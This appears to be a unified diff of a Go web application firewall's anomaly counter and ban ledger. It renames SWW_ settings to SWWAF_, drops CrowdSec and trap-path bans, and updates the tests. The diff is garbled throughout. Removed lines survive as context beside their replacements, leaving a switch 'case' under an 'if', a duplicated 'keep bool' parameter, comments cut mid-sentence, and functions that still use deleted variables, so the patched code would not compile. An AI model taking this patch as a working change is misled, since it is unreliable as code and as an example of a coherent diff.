 // Package anomaly counts requests and bytes over a minute and an hour, per
 // client, per surrounding netblock, per AS number, for the whole service
 // and per named netblock, and raises an anomaly alert for a count over its
-// threshold, as "Anomaly thresholds" under "Settings" in SPEC.md
+// threshold, as "Anomaly thresholds" under "Configuration surface" in
-// describes. It refuses and bans nothing. At most 20,000 counters
+// SPEC.md describes. It refuses and bans nothing. At most 20,000 counters
 // are kept, in memory, and written to alerts.json and read from it by the
 // state package.
 package anomaly
@@ -27,17 +27,16 @@ const maxCounters = 20000
 // The scopes, what a counter counts, as the settings, alerts.json and the
 // alerts name them.
 const (
-	// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
+	// ScopeClient is one client: an IPv4 address, or an IPv6 /64.
 	// SWW_IPV6_GROUP_PREFIX.
 	ScopeClient = "client"
-	// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
+	// ScopeNet is the netblock around a client, SWWAF_ANOMALY_NET_V4_PREFIX
-	// or SWW_ANOMALY_NET_V6_PREFIX long.
+	// or SWWAF_ANOMALY_NET_V6_PREFIX long.
 	ScopeNet = "net"
 	// ScopeASN is an AS number.
 	ScopeASN = "asn"
 	// ScopeTotal is the whole service.
 	ScopeTotal = "total"
-	// ScopeWatch is a named netblock of SWW_WATCH_NETS.
+	// ScopeWatch is a named netblock of SWWAF_WATCH_NETS.
 	ScopeWatch = "watch"
 )
@@ -62,7 +61,7 @@ type Thresholds struct {
 	BytesPerHour      int64
 }
-// NamedNetblock is a netblock SWW_WATCH_NETS names.
+// NamedNetblock is a netblock SWWAF_WATCH_NETS names.
 type NamedNetblock struct {
 	Name     string
 	Netblock netip.Prefix
@@ -70,14 +69,14 @@ type NamedNetblock struct {
 // Params are what New needs.
 type Params struct {
-	// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
+	// The thresholds of each scope: SWWAF_ANOMALY_CLIENT_*,
-	// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
+	// SWWAF_ANOMALY_NET_*, SWWAF_ANOMALY_ASN_*, SWWAF_ANOMALY_TOTAL_* and
-	// SWW_WATCH_*.
+	// SWWAF_WATCH_*.
 	Client, Net, ASN, Total, Watch Thresholds
 	// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
-	// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
+	// client (SWWAF_ANOMALY_NET_V4_PREFIX and SWWAF_ANOMALY_NET_V6_PREFIX).
 	NetV4Prefix, NetV6Prefix int
-	// NamedNetblocks are SWW_WATCH_NETS.
+	// NamedNetblocks are SWWAF_WATCH_NETS.
 	NamedNetblocks []NamedNetblock
 	// Alerts receive the anomaly alerts.
 	Alerts *alerts.Queue
@@ -103,17 +102,14 @@ type Counter struct {
 // Request is a request that has ended, as the counters count it.
 type Request struct {
 	// Host is the site the alert names, "" for none.
 	Host string
 	// Client is the client's address, and ClientGroup the client it is
-	// counted as: its IPv4 address, or the IPv6 netblock of
+	// counted as: its IPv4 address, or its IPv6 /64.
 	// SWW_IPV6_GROUP_PREFIX its address is in.
 	Client      netip.Addr
 	ClientGroup netip.Prefix
 	// ASN, ASName and Country are the client's as looked up, each "" when
 	// unknown.
 	ASN, ASName, Country string
-	// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
+	// Bytes are the request's bytes, as SWWAF_BYTES_COUNT counts them.
 	Bytes int64
 }
@@ -398,7 +394,6 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
 	return alerts.Alert{
 		Event:    alerts.EventAnomaly,
 		Host:     r.Host,
 		Client:   r.Client,
 		Netblock: k.netblock,
 		ASN:      r.ASN,
@@ -2,7 +2,6 @@ package bans_test
 import (
 	"net/netip"
 	"reflect"
 	"testing"
 	"time"
@@ -33,7 +32,7 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 	third := netip.MustParsePrefix("203.0.113.3/32")
 	// Seen longest ago, a netblock with two of an admin's bans alone, and
-	// then one with an admin's ban before a ban sww made: the one
+	// then one with an admin's ban before a ban smallwebwaf made: the one
 	// ban counted toward MaxBans.
 	ledger.Load([]bans.Ban{
 		{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
@@ -48,7 +47,7 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 	})
 	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 2})
-	// A new ban drops the ban sww made, and only that one.
+	// A new ban drops the ban smallwebwaf made, and only that one.
 	ledger.BanForLimit(second, midnight(), bans.Notes{})
 	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
@@ -61,60 +60,7 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
 }
-func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
+func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
 	t.Parallel()
 	rules := defaultRules()
 	rules.MaxBans = 2
 	ledger := bans.New(rules)
 	netblock := netip.MustParsePrefix("203.0.113.1/32")
 	other := netip.MustParsePrefix("203.0.113.2/32")
 	// An admin bans the netblock for a minute, and it then breaks a limit
 	// twice, each time after its last ban has ended.
 	ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
 		"probes for logins")
 	first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
 	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
 	// A ban on another netblock fills the ledger, and the netblock's first
 	// ban for a limit, its earliest that is not an admin's, goes.
 	ledger.BanForLimit(other, second.Start, bans.Notes{})
 	wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
 	// The netblock's next ban still counts it.
 	third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
 	if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
 		t.Errorf("the third ban for a limit has earlier bans %+v, "+
 			"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
 	}
 }
 func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
 	t.Parallel()
 	ledger := bans.New(defaultRules())
 	netblock := netip.MustParsePrefix("203.0.113.1/32")
 	// The netblock breaks a limit twice, the second time after its first
 	// ban has ended, and the second ban's notes count the first. An admin
 	// then keeps the first ban.
 	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
 	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
 	kept := first
 	kept.Cause = bans.CauseAdmin
 	ledger.LoadEdit([]bans.Ban{kept, second})
 	// The netblock's next ban counts the kept ban once, as an admin's.
 	third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
 	if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
 		t.Errorf("the third ban for a limit has earlier bans %+v, "+
 			"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
 	}
 }
 func TestReasonOfTheBansSwwMakes(t *testing.T) {
 	t.Parallel()
 	ledger := bans.New(defaultRules())
@@ -171,7 +117,7 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 	}
 	held := ledger.Bans(netblock)
-	if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
+	if len(held) != 2 || held[0] != lifted {
 		t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
 	}
 }
@@ -226,7 +172,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 		t.Fatalf("%d bans made by an admin after the start's, want none", got)
 	}
-	// The admin keeps the ban sww made, keeps the one read at the
+	// The admin keeps the ban smallwebwaf made, keeps the one read at the
 	// start, and adds one without a cause: that one alone is made.
 	kept := made
 	kept.Cause = bans.CauseAdmin
@@ -266,7 +212,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 	got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
 		"probes for logins")
-	if !reflect.DeepEqual(got, want) {
+	if got != want {
 		t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
 	}
@@ -278,7 +224,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 	// It refuses once the ban for the limit has ended.
 	ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
-	if !banned || !reflect.DeepEqual(ban, want) {
+	if !banned || ban != want {
 		t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
 			ban, banned, want)
 	}
@@ -1,10 +1,8 @@
-// Package bans is the ban ledger: the bans sww makes on the
+// Package bans is the ban ledger: the bans smallwebwaf makes on the
-// netblocks of clients that break a rate limit, a byte limit or the error
+// netblocks of clients that break a rate limit or a byte limit or show a
-// burst, show a clear sign of attack or are listed by the CrowdSec
+// clear sign of attack, and those an admin makes, with their notes, as
-// decision list, and
+// the "Bans" section of SPEC.md describes. The bans are kept in memory,
-// those an admin makes, with their notes, as the "Bans" section of SPEC.md
+// and written to bans.json and read from it by the state package.
 // describes. The bans are kept in memory, and written to bans.json and
 // read from it by the state package.
 package bans
 import (
@@ -21,16 +19,13 @@ import (
 // The causes of bans.
 const (
-	// CauseLimit is a ban sww made for a broken limit.
+	// CauseLimit is a ban smallwebwaf made for a broken limit.
 	CauseLimit = "limit"
-	// CauseAttack is a ban sww made for a clear sign of attack.
+	// CauseAttack is a ban smallwebwaf made for a clear sign of attack.
 	CauseAttack = "attack"
-	// CauseAdmin is a ban an admin made, or one sww made that an
+	// CauseAdmin is a ban an admin made, or one smallwebwaf made that an
 	// admin keeps. It is never dropped.
 	CauseAdmin = "admin"
 	// CauseCrowdSec is a ban sww made for a client the CrowdSec
 	// decision list lists. It ends when CrowdSec's decision does.
 	CauseCrowdSec = "crowdsec"
 )
 // repeatFactor is how many times as long as the netblock's last ban a ban
@@ -45,9 +40,9 @@ type Rules struct {
 	// LimitBanDuration is how long a first ban for a broken limit lasts.
 	LimitBanDuration time.Duration
 	// LimitBanRepeatWindow is how soon after the end of the netblock's
-	// ban that ended last, other than one for a clear sign of attack or for
+	// ban that ended last, other than one for a clear sign of attack, a
-	// CrowdSec's decision, a broken limit counts as a repeat, which bans for
+	// broken limit counts as a repeat, which bans for repeatFactor times as
-	// repeatFactor times as long as that ban.
+	// long as that ban.
 	LimitBanRepeatWindow time.Duration
 	// MaxBanDuration is the longest ban for a broken limit; one that would
 	// be longer is permanent instead.
@@ -68,11 +63,10 @@ type Ban struct {
 	Start    time.Time
 	// Expires is when the ban ends, zero for a permanent ban.
 	Expires time.Time
-	// Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec.
+	// Cause is CauseLimit, CauseAttack or CauseAdmin.
 	Cause string
-	// Reason is a short text: for a ban sww made, the limit broken,
+	// Reason is a short text: for a ban smallwebwaf made, the limit broken
-	// the rule that matched or the scenario of CrowdSec's decision; for an
+	// or the rule that matched; for an admin's, what the admin wrote.
 	// admin's, what the admin wrote.
 	Reason string
 	// Lifted is when an admin lifted the ban, zero while no admin has. A
 	// lifted ban refuses nothing, and does not make the netblock's next
@@ -104,11 +98,10 @@ type Notes struct {
 	ASName  string `json:"as_name"`
 	Country string `json:"country"`
 	// Kind, Limit, Window and Count are, for a ban for a broken limit,
-	// what the limit was on, "requests" for a rate limit, "bytes" for a
+	// what the limit was on, "requests" for a rate limit or "bytes" for a
-	// byte limit or "refusals" for the error burst, the limit that was
+	// byte limit, the limit that was broken, its window, "minute", "hour"
-	// broken, its window, "minute", "hour" or "day", and the count reached:
+	// or "day", and the count reached: the client's requests, or bytes, in
-	// the client's requests, bytes or refusals in the window, those of the
+	// the window, those of the request that broke the limit included.
 	// request that broke the limit included.
 	// These are what counted toward the ban, and the window is the time
 	// over which they came.
 	Kind   string  `json:"kind,omitempty"`
@@ -122,19 +115,11 @@ type Notes struct {
 	LimitPercent        *int64 `json:"limit_percent,omitempty"`
 	LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
 	// RuleID and Target are, for a ban for a clear sign of attack, the id
-	// of the rule file rule that matched, and its target; TrapPath is, for
+	// of the rule file rule that matched, and its target.
 	// one for a request for a path in SWW_TRAP_PATHS, that path as the
 	// client sent it.
 	RuleID string `json:"rule_id,omitempty"`
 	Target string `json:"target,omitempty"`
 	TrapPath string `json:"trap_path,omitempty"`
 	// Reputation is the reputation sources that listed the client when
 	// the request that caused the ban was made, in the order the request
 	// log's reputation names them. It is left out when none did.
 	Reputation []ReputationHit `json:"reputation,omitempty"`
 	// Request is the request that broke the limit, or whose bytes broke
-	// it, that was the clear sign of attack, or that came from a client the
+	// it, or that was the clear sign of attack.
 	// CrowdSec decision list lists.
 	Request Request `json:"request"`
 	// Requests is how many requests the netblock has sent since it was
 	// first seen, and Refused how many of them the ban has refused so
@@ -146,22 +131,11 @@ type Notes struct {
 	EarlierBans EarlierBans `json:"earlier_bans"`
 }
 // ReputationHit is a reputation source that listed a client, as a
 // reputation_hit alert's detail gives it: Source is the URL of the
 // blocklist or of the CrowdSec decision list, the DNSBL zone with its key
 // masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the
 // client.
 type ReputationHit struct {
 	Source string `json:"source"`
 	Score  *int64 `json:"score,omitempty"`
 }
 // EarlierBans counts a netblock's bans before a ban, by cause.
 type EarlierBans struct {
 	Limit  int `json:"limit"`
 	Attack int `json:"attack"`
 	Admin  int `json:"admin"`
 	CrowdSec int `json:"crowdsec"`
 }
 // Request is a request in a ban's notes. Each text is cut to 256 bytes.
@@ -199,7 +173,7 @@ type Ledger struct {
 	// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
 	// netblocks that have been banned. Check looks for a ban at each of
 	// them, so that a ban read from bans.json refuses every client in its
-	// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
+	// netblock even when it was made with another SWWAF_BAN_SCOPE_V4_PREFIX,
 	// or another length of an IPv6 client's netblock.
 	v4Lengths, v6Lengths []int
 }
@@ -289,8 +263,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
 // BanForLimit bans netblock at now for a broken limit, with notes, and
 // returns the ban, and true. A first ban lasts LimitBanDuration. A ban
 // made within LimitBanRepeatWindow after the netblock's ban that ended
-// last, other than one for a clear sign of attack or for CrowdSec's
+// last, other than one for a clear sign of attack or a lifted one, lasts
 // decision, or a lifted one, lasts
 // repeatFactor times as long as that one. A ban that would be longer
 // than MaxBanDuration is permanent instead. If a ban on netblock is still
 // active, as when two of its requests break a limit at once, that ban is
@@ -301,7 +274,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
 func (l *Ledger) BanForLimit(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
+	return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, true)
 }
 // WouldBanForLimit returns what BanForLimit would, without making the ban:
@@ -309,18 +282,18 @@ func (l *Ledger) BanForLimit(
 func (l *Ledger) WouldBanForLimit(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
+	return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, false)
 }
 // BanForAttack bans netblock at now for a clear sign of attack, with
 // notes, and returns the ban, and whether it made it, as BanForLimit
 // does. A first ban lasts AttackBanDuration; once the netblock has had
 // one that was not lifted, the next is permanent. Its reason is "matched
-// the rule <RuleID>", or "asked for the trap path <TrapPath>".
+// the rule <RuleID>".
 func (l *Ledger) BanForAttack(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
+	return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, true)
 }
 // WouldBanForAttack returns what BanForAttack would, without making the
@@ -328,35 +301,12 @@ func (l *Ledger) BanForAttack(
 func (l *Ledger) WouldBanForAttack(
 	netblock netip.Prefix, now time.Time, notes Notes,
 ) (Ban, bool) {
-	return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
+	return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, false)
 		false)
 }
-// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
+// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit
-// decision on the client ends, with notes, and returns the ban, and
+// or CauseAttack, made at now would be permanent, as BanForLimit or
-// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
+// BanForAttack would make it. It works out nothing else of the ban.
 // decision for <scenario>", the scenario that made the decision.
 func (l *Ledger) BanForCrowdSec(
 	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
 ) (Ban, bool) {
 	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
 		true)
 }
 // WouldBanForCrowdSec returns what BanForCrowdSec would, without making
 // the ban: what observe mode would have done.
 func (l *Ledger) WouldBanForCrowdSec(
 	netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
 ) (Ban, bool) {
 	return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
 		false)
 }
 // WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
 // CauseAttack or CauseCrowdSec, made at now would be permanent, as
 // BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out
 // nothing else of the ban. A ban for CrowdSec's decision is never
 // permanent: it ends with the decision.
 func (l *Ledger) WouldBePermanent(
 	netblock netip.Prefix, now time.Time, cause string,
 ) bool {
@@ -368,14 +318,11 @@ func (l *Ledger) WouldBePermanent(
 		held = *bans
 	}
-	switch cause {
+	if cause == CauseAttack {
 	case CauseAttack:
 		return l.attackExpiry(held, now).IsZero()
 	case CauseLimit:
 		return l.limitExpiry(held, now).IsZero()
 	default: // CauseCrowdSec
 		return false
 	}
 	return l.limitExpiry(held, now).IsZero()
 }
 // limitReason is the reason of a ban for a broken limit, with notes.
@@ -387,19 +334,9 @@ func limitReason(notes Notes) string {
 // attackReason is the reason of a ban for a clear sign of attack, with
 // notes.
 func attackReason(notes Notes) string {
 	if notes.TrapPath != "" {
 		return "asked for the trap path " + notes.TrapPath
 	}
 	return "matched the rule " + notes.RuleID
 }
 // crowdSecReason is the reason of a ban for CrowdSec's decision, which
 // scenario made.
 func crowdSecReason(scenario string) string {
 	return "CrowdSec's decision for " + scenario
 }
 // BanForAdmin bans netblock at now for an admin, with reason, until
 // expires, or for good when expires is zero, and returns the ban, whose
 // cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the
@@ -581,7 +518,7 @@ func (l *Ledger) Load(bans []Ban) {
 }
 // LoadEdit is Load for an admin's edit of bans.json, taken in while
-// sww runs. Each ban in it whose cause is CauseAdmin, and which
+// smallwebwaf runs. Each ban in it whose cause is CauseAdmin, and which
 // the ledger did not hold, with the same netblock and start, is one the
 // admin made, and is counted among the bans made.
 func (l *Ledger) LoadEdit(bans []Ban) {
@@ -637,14 +574,11 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
 }
 // ban bans netblock at now for cause, with reason and notes, as
-// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the
+// BanForLimit and BanForAttack describe, and returns the ban, and whether
-// ban, and whether it made it. expires is when a ban for CauseCrowdSec
+// it made it. Unless keep is true, the ban is not made, only returned: it
-// ends, and zero for the others, whose end the ledger works out. Unless
+// is the ban that would have been made.
 // keep is true, the ban is not made, only returned: it is the ban that
 // would have been made.
 func (l *Ledger) ban(
-	netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
+	netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, keep bool,
 	keep bool,
 ) (Ban, bool) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
@@ -666,13 +600,10 @@ func (l *Ledger) ban(
 	notes.Request = notes.Request.cut()
 	ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
-	switch cause {
+	if cause == CauseAttack {
 	case CauseAttack:
 		ban.Expires = l.attackExpiry(held, now)
-	case CauseLimit:
+	} else {
 		ban.Expires = l.limitExpiry(held, now)
 	default: // CauseCrowdSec
 		ban.Expires = expires
 	}
 	if !keep {
@@ -687,51 +618,24 @@ func (l *Ledger) ban(
 }
 // earlierBans returns how many bans a netblock with the bans held, oldest
-// first, has had, by cause. Each ban held gives a count: the bans its
+// first, has had, by cause: the first ban held counts the bans the
-// notes count before it, and one for it and each ban held after it. A
+// netblock had before that one, since dropped to make room, and each ban
-// ban's count misses a ban dropped after it to make room, and that of an
+// held adds one.
 // admin's ban added to bans.json without notes misses the bans before it,
 // so the count that names the most bans is taken, whole: a ban an admin
 // keeps by giving it CauseAdmin is still counted under its old cause in
 // later bans' notes, and taking each cause from another count would count
 // it twice.
 func earlierBans(held []Ban) EarlierBans {
-	// fromHere counts ban and the bans held after it.
+	earlier := held[0].Notes.EarlierBans
 	var most, fromHere EarlierBans
-	for _, ban := range slices.Backward(held) {
+	for _, ban := range held {
 		switch ban.Cause {
 		case CauseLimit:
-			fromHere.Limit++
+			earlier.Limit++
 		case CauseAttack:
-			fromHere.Attack++
+			earlier.Attack++
 		case CauseAdmin:
-			fromHere.Admin++
+			earlier.Admin++
 		case CauseCrowdSec:
 			fromHere.CrowdSec++
 		}
 		notes := ban.Notes.EarlierBans
 		count := EarlierBans{
 			Limit:    notes.Limit + fromHere.Limit,
 			Attack:   notes.Attack + fromHere.Attack,
 			Admin:    notes.Admin + fromHere.Admin,
 			CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
 		}
 		// Of counts that name as many bans, the earlier ban's is taken: it
 		// counts more of the bans held by the cause they have now.
 		if count.total() >= most.total() {
 			most = count
 		}
 	}
-	return most
+	return earlier
 }
 // total returns how many bans e counts, of all causes.
 func (e EarlierBans) total() int {
 	return e.Limit + e.Attack + e.Admin + e.CrowdSec
 }
 // markChanged has Changed receive a value, unless one is waiting already.
@@ -821,16 +725,16 @@ func (l *Ledger) add(ban Ban) {
 // limitExpiry returns when a ban for a broken limit made at now ends, or
 // zero when it is permanent. held are the netblock's bans, none of them
 // active, of which the one that ended last, other than a ban for a clear
-// sign of attack or for CrowdSec's decision, or a lifted one, can make the
+// sign of attack or a lifted one, can make the new ban longer. A ban an
-// new ban longer. A ban an admin adds to bans.json can start after
+// admin adds to bans.json can start after another and end before it, so
-// another and end before it, so that one is looked for among them all.
+// that one is looked for among them all.
 func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
 	length := l.rules.LimitBanDuration
 	var last *Ban
 	for i, ban := range held {
-		if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
+		if ban.Cause != CauseAttack && ban.Lifted.IsZero() &&
 			(last == nil || ban.Expires.After(last.Expires)) {
 			last = &held[i]
 		}
@@ -2,7 +2,6 @@ package bans_test
 import (
 	"net/netip"
 	"reflect"
 	"strings"
 	"testing"
 	"time"
@@ -131,13 +130,13 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
 	again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
-	if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
+	if made || again != first || len(ledger.Bans(netblock)) != 1 {
 		t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
 			"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
 	}
 	again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
-	if made || !reflect.DeepEqual(again, first) {
+	if made || again != first {
 		t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
 			again, made, first)
 	}
@@ -183,7 +182,7 @@ func TestFindCountsNothing(t *testing.T) {
 	ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
 	got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
-	if !banned || !reflect.DeepEqual(got, ban) {
+	if !banned || got != ban {
 		t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
 	}
@@ -192,7 +191,7 @@ func TestFindCountsNothing(t *testing.T) {
 		t.Error("the ban did not end")
 	}
-	if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
+	if notes := ledger.Bans(netblock)[0].Notes; notes != ban.Notes {
 		t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
 	}
 }
@@ -248,7 +247,7 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) {
 	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
 	held := ledger.Bans(netblock)
-	if len(held) != 1 || !reflect.DeepEqual(held[0], second) ||
+	if len(held) != 1 || held[0] != second ||
 		held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
 		t.Errorf("the ledger holds %+v, want only the second ban, "+
 			"with 1 earlier ban for a limit", held)
@@ -343,7 +342,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
 	// While the first ban lasts, none would be made.
 	during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
-	if would || !reflect.DeepEqual(during, first) {
+	if would || during != first {
 		t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
 			would, during, first)
 	}
@@ -372,7 +371,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
 	// The ban made is the one that would have been.
 	made, _ := ledger.BanForLimit(netblock, first.Expires, limitNotes)
-	if !reflect.DeepEqual(made, limit) {
+	if made != limit {
 		t.Errorf("the ban made is %+v, want %+v", made, limit)
 	}
 }
@@ -1,90 +0,0 @@
 package bans_test
 import (
 	"net/netip"
 	"reflect"
 	"testing"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
 )
 // scenario is the scenario of the tests' CrowdSec decisions.
 const scenario = "crowdsecurity/ssh-bf"
 func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
 	t.Parallel()
 	ledger := bans.New(defaultRules())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 	expires := midnight().Add(4 * time.Hour)
 	// The ban that would be made is not made.
 	would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
 		scenario, bans.Notes{})
 	if !wouldBan || len(ledger.Bans(netblock)) != 0 {
 		t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
 			wouldBan, ledger.Bans(netblock))
 	}
 	const reason = "CrowdSec's decision for " + scenario
 	ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
 		bans.Notes{})
 	if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
 		!ban.Expires.Equal(expires) || ban.Reason != reason ||
 		ledger.Made(bans.CauseCrowdSec) != 1 {
 		t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
 			"crowdsec until %s", made, ban, would, expires)
 	}
 	// A second decision on the netblock while the ban lasts makes no other.
 	again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
 		expires.Add(time.Hour), scenario, bans.Notes{})
 	if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
 		t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
 	}
 }
 func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
 	t.Parallel()
 	ledger := bans.New(defaultRules())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 	expires := midnight().Add(4 * time.Hour)
 	ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
 	// A request as the ban ends is refused, and leaves it as it is.
 	last := expires.Add(-time.Nanosecond)
 	held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
 	if !banned || madePermanent || !held.Expires.Equal(expires) ||
 		ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
 		t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
 			"refused under the ban as it was", banned, held, madePermanent)
 	}
 	if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
 		t.Error("the ban refuses a request once the decision has ended")
 	}
 }
 func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
 	t.Parallel()
 	ledger := bans.New(defaultRules())
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
 	// Three times the three days would be permanent; a limit broken as the
 	// ban for CrowdSec's decision ends bans for an hour, as a first broken
 	// limit does.
 	crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
 		scenario, bans.Notes{})
 	limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
 	if limit.Expires.Sub(limit.Start) != time.Hour ||
 		limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
 		t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
 			limit)
 	}
 }
@@ -2,7 +2,6 @@ package bans_test
 import (
 	"net/netip"
 	"reflect"
 	"slices"
 	"strings"
 	"testing"
@@ -173,7 +172,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
 func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
 	t.Parallel()
-	// A 9-hour ban sww made, the third in a row, and an admin's
+	// A 9-hour ban smallwebwaf made, the third in a row, and an admin's
 	// 1-hour ban added to bans.json over it, with no cause and no notes.
 	netblock := netip.MustParsePrefix("203.0.113.9/32")
